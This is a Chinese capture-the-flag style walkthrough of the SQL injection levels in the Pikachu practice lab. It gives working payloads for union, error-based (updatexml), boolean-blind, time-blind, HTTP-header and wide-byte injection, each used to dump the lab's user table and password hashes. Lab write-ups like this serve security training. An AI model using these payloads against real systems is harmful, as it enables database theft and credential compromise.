Pikachu靶场通关之SQL注入 – 作者:国服最强渗透掌控者

1.Sql Inject(SQL注入)概述

Sql Inject(SQL注入)概述
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

2.数字型注入(post)

由题可知是数字型注入(post)
查看代码,发现代码对id没有做任何过滤

1604153751_5f9d71971dde4ea1491ba.png!small?1604153750810
点击查询抓包,
id=1′ 报错,可判断存在SQL注入
1604153839_5f9d71ef283cb29b7f1b5.png!small?1604153838723

判断字段数

id=1 order by 3报错

1604153857_5f9d720121387d93c9bd8.png!small?1604153856709

id=1 order by 2有回显,所以字段数为2

1604153870_5f9d720ebc4b23e8a40df.png!small?1604153870424

判断回显点,可以在1和2这两处位置,获得我们想要的信息

id=1 union select 1,2

1604153884_5f9d721cc79b99479efd0.png!small?1604153884422

查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu

id=1 union select user(),database()

1604153896_5f9d72289900154a2fa3e.png!small?1604153896219

查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

id=1 union select 1,goup_concat(table_name) from information_schema.tables where table_schema=’pikachu’

1604153914_5f9d723a838fecd7249b6.png!small?1604153914196

查询数据表users中的字段USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’

1604153929_5f9d72494ceb195890b0d.png!small?1604153928858

查询字段username和password的内容

id=1 union select group_concat(username),group_concat(password) from users

1604153938_5f9d7252d9f359e3f081b.png!small?1604153938414

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

3.字符型注入(get)

由题可知是字符型注入(get),可直接在url中的name参数后进行修改

输入’点击查询,报错,判断存在SQL注入

/vul/sqli/sqli_str.php?name=%27&submit=查询

1604153977_5f9d72792ad0ce53b2c5a.png!small?1604153976800

可以用– q对’进行闭合

输入name=’ or 1=1– q,可查询出所有账户数据

1604153987_5f9d728341037c96dbeb4.png!small?1604153986847

判断字段数

‘ order by 2 — q

有回显

1604153998_5f9d728eec4a3001ba67b.png!small?1604153998538

‘ order by 3 — q

报错,所以字段数为2

1604154008_5f9d729848cd2eac7b2d6.png!small?1604154007930

判断回显点,可以在1和2这两处位置,获得我们想要的信息

‘ union select 1,2 — q

1604154018_5f9d72a247cfa5b6ed813.png!small?1604154017907

查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu

‘ union select user(),database() — q

1604154027_5f9d72ab75b7bb791ded1.png!small?1604154027074

查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’pikachu’ — q

1604154038_5f9d72b6147d825513173.png!small?1604154037620

查询数据表users中的字段 id,username,password,level,id,username,password

‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ — q

1604154079_5f9d72df26801bf9de237.png!small?1604154078706

查询字段username和password的内容

‘ union select group_concat(username),group_concat(password) from users — q

1604154092_5f9d72ec81945f7cb482c.png!small?1604154092148

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

4.搜索型注入

由题可知是搜索型注入(get),可直接在url中的name参数后进行修改

输入’点击查询,报错,判断存在SQL注入

/vul/sqli/sqli_str.php?name=%27&submit=查询

1604154138_5f9d731a35622583f0033.png!small?1604154137782

可以用– q对’进行闭合

输入name=’ or 1=1– q,可查询出所有账户数据

1604154148_5f9d7324e812290f93502.png!small?1604154148603

判断字段数

‘ order by 3 — q

有回显

1604154161_5f9d7331f3527d5705c1a.png!small?1604154161557

‘ order by 4 — q

报错,所以字段数为3

1604154181_5f9d7345c08588573d0f8.png!small?1604154181407

判断回显点,可以在1,2,这三处位置,获得我们想要的信息

‘ union select 1,2,3 — q

1604154193_5f9d73512297586d50051.png!small?1604154192770

中间内容和字符型注入(get)类似,只是多了一个回显点,在此不再赘述

直接查询字段username和password的内容

‘ union select 1,group_concat(username),group_concat(password) from users — q

1604154204_5f9d735c3dadb53eb3ef1.png!small?1604154203843

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

5.xx型注入

输入’报错,此处存在SQL注入漏洞,观察报错信息,出现)

/vul/sqli/sqli_str.php?name=%27&submit=查询

1604154242_5f9d7382e97dad9180276.png!small?1604154242465

输入’)– q,成功闭合

1604154254_5f9d738ee10d98fe2049e.png!small?1604154254476

判断字段数

‘) order by 2 — q

有回显

1604154265_5f9d739920d15dcf95a84.png!small?1604154264706

‘) order by 3 — q

报错,所以字段数为2

1604154277_5f9d73a50aa72a5040706.png!small?1604154276635

中间内容和字符型注入(get)类似,只是多加一个)进行闭合,在此不再赘述

直接查询字段username和password的内容

‘) union select group_concat(username),group_concat(password) from users — q

1604154286_5f9d73aef3ca91dda5db7.png!small?1604154286629

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

6.insert&update注入

insert/update是插入和更新的意思,这两个场景的注入,post数据包里的每一个参数都可以注入

insert注入

首先在注册的时候抓包分析。

username=’ 报错,可判断存在SQL注入

1604154325_5f9d73d5b530793048bcd.png!small?1604154325371

本题运用报错注入的方法进行解答

查询用户名root@localhost

username=’ or updatexml(1,concat(0x7e,(select user())),1),1) — q

1604154337_5f9d73e15c3317a6f5f5c.png!small?1604154336930

查询数据库名pikachu

username=’ or updatexml(1,concat(0x7e,(select database())),1),1) — q

1604154364_5f9d73fc6bda0209eccf7.png!small?1604154364059

查询数据库pikachu下的所有表名httpinfo,member,message,users,x发现不能全部显示

username=’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’)),1)or’

1604154434_5f9d7442594856dce5256.png!small?1604154434013

在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下图中的22是从右往左显示22个字符,所有表名httpinfo,member,message,users,xssblind

username=’ or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’),22)),1)or’

1604154451_5f9d74539df0d295d5414.png!small?1604154451219

还可以用limit函数逐个读取数据库中的表名

username=’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),1)or’

1604154466_5f9d7462561197e23ac4b.png!small?1604154465940

查询users表中的字段名id,username,password,level,id,u

username=’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’users’)),1)or’

1604154484_5f9d7474dc9bdc809b2fc.png!small?1604154484485

查询users表中所有的字段名id,username,password,level,id,username,password

username=’ or updatexml(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name=’users’),22)),1)or’

1604154503_5f9d7487cc18afb95294a.png!small?1604154503442

还可以用limit函数逐个读取users表中的字段名

username=’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1)),1)or’

1604154518_5f9d749659564623754cd.png!small?1604154517939

直接查询字段username的内容admin,pikachu,test

username=’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’

1604154527_5f9d749f81e83b0ee5384.png!small?1604154527074

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

username=’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’

1604154536_5f9d74a8c07af02b63f38.png!small?1604154536377

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

update注入

首先利用已知的账号kobe,密码123456登录

点击修改个人信息,点击submit,抓包

sex=’ 报错,可判断存在SQL注入

1604154574_5f9d74ce4c79392c4f125.png!small?1604154573844

中间过程和insert注入类似,只是注入参数变成了sex

直接查询字段username的内容admin,pikachu,test

sex=’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’

1604154586_5f9d74daa2c4adef43cde.png!small?1604154586296

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

sex=’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’

1604154618_5f9d74fa2ab572ff5a459.png!small?1604154617786

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

7.delete注入

查看源码,没有对GET参数获取到的id进行任何处理,直接拼接,进行删除

1604154656_5f9d7520e917168b751ee.png!small?1604154656545

输入1,点击submit,再点击删除,抓包

修改id=58′,报错,可判断存在SQL注入

1604154669_5f9d752d039ec1537c9c2.png!small?1604154668646

可以直接在url进行操作,查询数据库名pikachu

/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)

1604154684_5f9d753c1b69db15fa066.png!small?1604154683662

中间内容和insert&updatexml内容类似,只是不需要闭合单引号,在此不做过多赘述

直接查询字段username的内容admin,pikachu,test

%20or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)

1604154693_5f9d7545e80cd984c3e50.png!small?1604154693546

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

%20or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)

1604154703_5f9d754fd1e10a3d150e9.png!small?1604154703463

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

8.http header注入

输入admin/123456,点击login登录

通常情况下,页面返回信息有user agent数据的,将http头中的user-agent和accept带入了SQL查询,如果没过滤就会存在http header注入

1604154736_5f9d7570419e42361bb2a.png!small?1604154735896

刷新页面抓包,Accept也可进行注入

修改User-Agent: ‘ 报错,可以判断此处存在SQL注入

1604154745_5f9d75790521ee00dcc0d.png!small?1604154744637

查询数据库名

‘ or updatexml(1,concat(0x7e,(select database())),1)or’

1604154753_5f9d7581bed4a729c472a.png!small?1604154753544

中间过程和insert/update注入一样,只是注入参数修改为User-Agent,在此不再赘述

直接查询字段username的内容admin,pikachu,test

‘ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’

1604154764_5f9d758cf3a72163ebcef.png!small?1604154764781

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

‘ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’

1604154776_5f9d759881ba9484bb8ea.png!small?1604154776148

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

9.盲注(base on boolian)

由题可知是布尔盲注,只会返回True或者False,不会返回报错信息

输入lucy,点击查询,返回True,输入lucy’返回False,说明此处存在SQL注入

1604154803_5f9d75b39f16898e6c213.png!small?1604154803276

判断当前数据库的长度,大于6不大于7,所以长度为7,可以用burp的intruder

lucy’ and length(database())>7– q,False

1604154813_5f9d75bd4af035635c340.png!small?1604154812901

lucy’ and length(database())>6– q,True

1604154821_5f9d75c5df1a006569e35.png!small?1604154821509

判断库名第一个字母为p,True

lucy’ and (substr(database(),1,1))=’p’– q

1604154829_5f9d75cd6a43775407d05.png!small?1604154829051

以此类推,数据库名为pikachu

判断表名第一个表的第一个字母为h,True

lucy’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=’h’– q

1604154837_5f9d75d5e3e0c3c208c88.png!small?1604154837551

以此类推,所有表名为httpinfo,member,message,users,xssblind

判断users表中第一个字段的第一个字母是i,True

lucy’ and (substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1))=’i’– q

1604154857_5f9d75e957bb72f353d89.png!small?1604154856875

以此类推,所有字段名为id,username,password,level,id,username,password

判断username中第一个内容的第一个字母为a,True

lucy’ and (substr((select username from users limit 0,1),1,1))=’a’– q

1604154889_5f9d7609d2366f1a50a9c.png!small?1604154889435

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

10.盲注(base on time)

由题可知是延时注入

使用sleep()函数:输入

kobe%27+and+sleep%283%29–%20q

页面延时3秒返回,说明此处存在延时注入漏洞

1604154926_5f9d762ec687ee6f4d11d.png!small?1604154926399

判断当前数据库名长度为7,页面没有延时,说明数据库长度为7

kobe%27+and sleep(if((length(database())=7),0,3))–%20q

1604154935_5f9d76375e8d84d0c7931.png!small?1604154934962

判断库名第一个值为p,页面没有延时,说明数据库第一个值为p

kobe’ and if(substr(database(),1,1)=’p’,0,sleep(3))– q

kobe’ and if(ascii(substr(database(),1,1))=ascii(‘p’),0,sleep(3))– q

kobe’ and sleep(if(ascii(substr(database(),1,1))=ascii(‘p’),0,3))– q

1604154944_5f9d764092afab84a8c86.png!small?1604154944143

以此类推,数据库名为pikachu

判断表名第一个表的第一个值为h,页面没有延时,说明第一个表的第一个值为h

kobe’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=’h’,0,sleep(3))– q

1604154963_5f9d765315d2443ff6641.png!small?1604154962668

以此类推,所有表名为httpinfo,member,message,users,xssblind

判断users表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

kobe’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1)=’i’,0,sleep(3))– q

1604154973_5f9d765d3cefb4d109c1b.png!small?1604154972803

以此类推,所有字段名为id,username,password,level,id,username,password

判断username中第一个内容的第一个值为a,页面没有延时,username中第一个内容的第一个值为a

kobe’ and if(substr((select username from users limit 0,1),1,1)=’a’,0,sleep(3))– q

1604154981_5f9d76659ff422d93d51b.png!small?1604154981136

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

11.宽字节注入

由题可知是宽字节注入,简单来说就是数据库用了GBK编码,\转义了’ ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了

输入kobe%df’ or 1=1– q,点击查询,抓包,可以查询出所有用户的数据

1604155038_5f9d769e0fb35a4760018.png!small?1604155037624

pikachu的宽字节靶场无法判断字段数,根据之前的经验,直接进入下一步

判断回显点可以在1和2这两处位置,获得我们想要的信息

kobe%df’ union select 1,2– q

1604155048_5f9d76a8233bd21b251c5.png!small?1604155047744

中间的过程和字符型(get)注入类似,只是需要%df来逃逸单引号,在此不再赘述

直接查询字段username和password的内容

kobe%df’ union select group_concat(username),group_concat(password) from users — q

1604155064_5f9d76b811d83da472f9c.png!small?1604155063781

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

来源:freebuf.com 2020-11-05 12:33:11 by: 国服最强渗透掌控者

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论